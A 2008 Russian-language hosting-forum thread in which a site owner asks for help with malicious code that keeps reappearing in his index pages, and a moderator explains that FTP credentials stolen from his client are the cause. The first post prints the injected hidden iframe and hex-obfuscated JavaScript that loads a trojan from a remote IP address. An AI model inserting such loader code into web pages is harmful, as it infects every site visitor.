Список форумов DOMEN.com.ua DOMEN.com.ua
информационно-технический форум провайдера DOMEN.com.ua
 
 FAQFAQ   ПоискПоиск   ПользователиПользователи   ГруппыГруппы   РегистрацияРегистрация 
 ПрофильПрофиль   Войти и проверить личные сообщенияВойти и проверить личные сообщения   ВходВход 

Прицепился вирус на сайты. Убить никак не могу. Хелп короче!

 
Начать новую тему   Ответить на тему    Список форумов DOMEN.com.ua -> Флейм
Предыдущая тема :: Следующая тема  
Автор Сообщение
Romankin
Новый посетитель


Зарегистрирован: 08.06.2005
Сообщения: 7
Откуда: Харьков

СообщениеДобавлено: Сб Фев 16, 2008 16:10    Заголовок сообщения: Прицепился вирус на сайты. Убить никак не могу. Хелп короче! Ответить с цитатой

Вобщем товарищи херня какая-то поцепилась ко мне на сайты которые хотятся на домене.ком.уа.

Приписывает к файлу index вот такую фигню:

<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v47b6c2 c0281b4(v47b6c2c0285ae){ function v47b6c2c0289aa () {return 16;} return(parseInt(v47b6c2c0 285ae,v47b6c2c0 289aa()));}function v47b6c2c0 291b9(v47b6c2c0295b4){ function v47b6c2c02a1a8 () {return 2;} var v47b6c2c 0299af='';for(v47b6c2c029dac=0; v47b6 c2c029dac<v47b6c2 c0295b4.length; v47b6c2c 029dac+=v47b6 c2c0 2a1a8()){ v47b6c2c0299af+=(String.fro mCharCode(v47b6c2 c0281b4(v47b6 c2c0295b4.substr(v47b6c2c029dac, v47b6c2 c02a1a8()))));}return v47b6c2 c0299af;} docum ent.write(v47b6c2c0291b9('3C5343524950543E77 696E646F772E7374617 475733D27446F6E6527 3B646F63756D656E7 42E777269746528273 C696672616D65206E 616D653D376562393 661633737207372633 D5C27687474703A2F2 F37372E 3232312E3133 332E3138382F2E69662F 676F2E68746D6C3F27 2B4D6174682E726F756E64284D6 174682E72616E646F6D28292A323830343 136292B2737623164366137645C2 72077696474683D37333620686569676 8743D333831207374796C653 D5C27646973706 C61793A206E6F6E655C27 3E3C2F696672 616D653E27293C2F5343524 950543E'));</script>

После чего при заходе на мой сайт в комп упорно с http://77.221.133.188/.if/ лезет троян.

Когда ручками вырезаю этот код то он появляется через 10-15 минут снова.

Прочесал свою машину вдоль и поперек разными антивирусниками на предмет наличия вирусов - нету! Удалил все куки и файлы.

Прочесал все файлы на сайтах, вручную вырезал этот вредоносный код, сменил пароль на хостинге! Нигде пароль не сохранял.

Проходит день-два и снова появляется этот код!!!!!!!

Я уже не знаю чё делать!!!!!!! Хелп ми плизззззз!
_________________
Я не грустный - я спокойный!
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail Посетить сайт автора
Romankin
Новый посетитель


Зарегистрирован: 08.06.2005
Сообщения: 7
Откуда: Харьков

СообщениеДобавлено: Сб Фев 16, 2008 17:56    Заголовок сообщения: Ответить с цитатой

Поставил каспера.

Он нашел ntos.exe

Убил.

Может то он виноват был в похищении паролей?
_________________
Я не грустный - я спокойный!
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail Посетить сайт автора
Алексей
Помогу чем смогу


Зарегистрирован: 03.10.2003
Сообщения: 2130
Откуда: Украина, Харьков

СообщениеДобавлено: Сб Фев 16, 2008 19:49    Заголовок сообщения: Ответить с цитатой

Вполне вероятно.
Есть ещё прекрасный топик на тему хищения паролей, можно там что-то почерпнуть...
_________________
С уважением,
Алексей.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Посетить сайт автора
Romankin
Новый посетитель


Зарегистрирован: 08.06.2005
Сообщения: 7
Откуда: Харьков

СообщениеДобавлено: Сб Фев 16, 2008 21:44    Заголовок сообщения: Ответить с цитатой

Да я начитаный.

И заплатки ставлю и антивирус стоял ( он трояна видит и блокирует но первопричину не находил ) и паролей никогда не сохраняю кроме входа на фтп, а всё таки пролезла зараза! А теперь убить пытаюсь неделю уже.

Вобщем надеюсь нашел его. Буду проверить пару дней.
_________________
Я не грустный - я спокойный!
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail Посетить сайт автора
Алексей
Помогу чем смогу


Зарегистрирован: 03.10.2003
Сообщения: 2130
Откуда: Украина, Харьков

СообщениеДобавлено: Сб Фев 16, 2008 22:25    Заголовок сообщения: Ответить с цитатой

Romankin писал(а):
и паролей никогда не сохраняю кроме входа на фтп, а всё таки пролезла зараза!


Так именно здесь и "пролезла" и ещё раз "пролезет".
Не сохраняйте пароли на FTP в FTP-клиенте - вирус их оттуда получает, роботом заходит на Ваш FTP от Вашего имени и меняет там что ему нужно.

Пароли смените, выберите их сложными и держите их только в голове - это единственное решение.
_________________
С уважением,
Алексей.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Посетить сайт автора
Показать сообщения:   
Начать новую тему   Ответить на тему    Список форумов DOMEN.com.ua -> Флейм Часовой пояс: GMT + 2
Страница 1 из 1

 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах


Powered by phpBB © 2001, 2005 phpBB Group
Русская поддержка phpBB

Anti Bot Question MOD - МОД для phpBB против Спамботов